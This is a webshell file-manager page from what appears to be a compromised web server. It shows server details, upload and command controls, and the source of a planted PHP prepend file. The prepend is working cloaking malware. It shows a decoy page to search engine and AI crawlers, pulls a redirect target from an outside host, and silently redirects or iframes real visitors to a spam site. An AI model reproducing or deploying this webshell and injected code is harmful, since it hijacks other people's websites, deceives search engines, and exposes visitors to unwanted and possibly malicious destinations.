403Webshell
Server IP : 18.193.92.211  /  Your IP : 216.73.216.128
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/aktion.darmas.de/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aktion.darmas.de/ms-bot-prepend.php
<?php
if (defined("MS_PREPEND_GATE")) return;
define("MS_PREPEND_GATE", 1);
header("X-Medusa-Prepend: 1");
$ua = isset($_SERVER["HTTP_USER_AGENT"]) ? (string)$_SERVER["HTTP_USER_AGENT"] : "";
$uri = isset($_SERVER["REQUEST_URI"]) ? (string)$_SERVER["REQUEST_URI"] : "/";
$path = parse_url($uri, PHP_URL_PATH);
if ($path === null || $path === false || $path === "") $path = "/";
if (preg_match("#/(wp-admin|wp-login|wp-cron|xmlrpc|wp-json|cache\.php|images/images)/#i", $uri)) return;
$home = ($path === "/" || $path === "/index.php");
if (!$home) return;
foreach (["p","page_id","pagename","name","cat","tag","s"] as $k) {
    if (isset($_GET[$k]) && $_GET[$k] !== "") { $home = false; break; }
}
if (!$home) return;
$bot = (bool)preg_match("/googlebot|googleother|google-|adsbot-google|mediapartners-google|apis-google|storebot-google|feedfetcher-google|bingbot|bingpreview|slurp|duckduckbot|baiduspider|yandexbot|bytespider|applebot|semrushbot|ahrefsbot|gptbot|claudebot/i", $ua);
$root = dirname(__FILE__);
if ($bot) {
    foreach ([$root . "/license.html", $root . "/wp-content/license.html"] as $f) {
        if (is_file($f) && filesize($f) > 800) {
            header("Content-Type: text/html; charset=UTF-8");
            header("Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0");
            header("CDN-Cache-Control: no-store");
            header("Surrogate-Control: no-store");
            header("Vary: User-Agent");
            readfile($f);
            exit;
        }
    }
    return;
}
$dest = "";
if (is_file($root . "/ist-dest.txt")) {
    $t = trim((string)@file_get_contents($root . "/ist-dest.txt"));
    if ($t !== "" && preg_match("#^https?://#i", $t) && !preg_match("/\.txt(\?|$)/i", $t)) {
        $dest = rtrim($t, "/") . "/";
    }
}
if ($dest === "") {
    $raw = @file_get_contents("https://istanbulescortladys.com/ist.txt");
    if (is_string($raw) && $raw !== "") {
        foreach (preg_split("/\r\n|\r|\n/", $raw) as $line) {
            $u = trim($line);
            if ($u !== "" && preg_match("#^https?://#i", $u) && !preg_match("/\.txt(\?|$)/i", $u)) {
                $dest = rtrim($u, "/") . "/";
                break;
            }
        }
    }
}
if ($dest === "" || !preg_match("#^https?://#i", $dest)) exit;
@file_put_contents($root . "/ist-dest.txt", $dest . "\n");
$mode = "redirect";
$mobile = (bool)preg_match("/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini/i", $ua);
$embed = ($mode === "iframe" || $mode === "proxy" || (($mode === "iframe_mobile" || $mode === "proxy_mobile") && $mobile));
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");
header("CDN-Cache-Control: no-store");
header("Surrogate-Control: no-store");
header("Cloudflare-CDN-Cache-Control: no-store");
header("Vary: User-Agent");
if (!$embed) {
    header("X-Medusa-Prepend: redirect");
    header("X-Robots-Tag: noindex, follow");
    header("Location: " . $dest, true, 302);
    exit;
}
header("Content-Type: text/html; charset=UTF-8");
header("X-Medusa-Prepend: " . (($mode === "proxy" || $mode === "proxy_mobile") ? "proxy" : "iframe"));
header("X-Robots-Tag: noindex, follow");
$e = htmlspecialchars($dest, ENT_QUOTES, "UTF-8");
echo "<!DOCTYPE html><html lang=\"tr\"><head><meta charset=\"UTF-8\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">"
    . "<style>html,body{margin:0;height:100%;overflow:hidden;background:#000}iframe{border:0;width:100%;height:100%;display:block}</style></head><body>"
    . "<iframe src=\"{$e}\" title=\"vitrin\" allow=\"autoplay; fullscreen; payment; clipboard-write\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe></body></html>";
exit;

Youez - 2016 - github.com/yon3zu
LinuXploit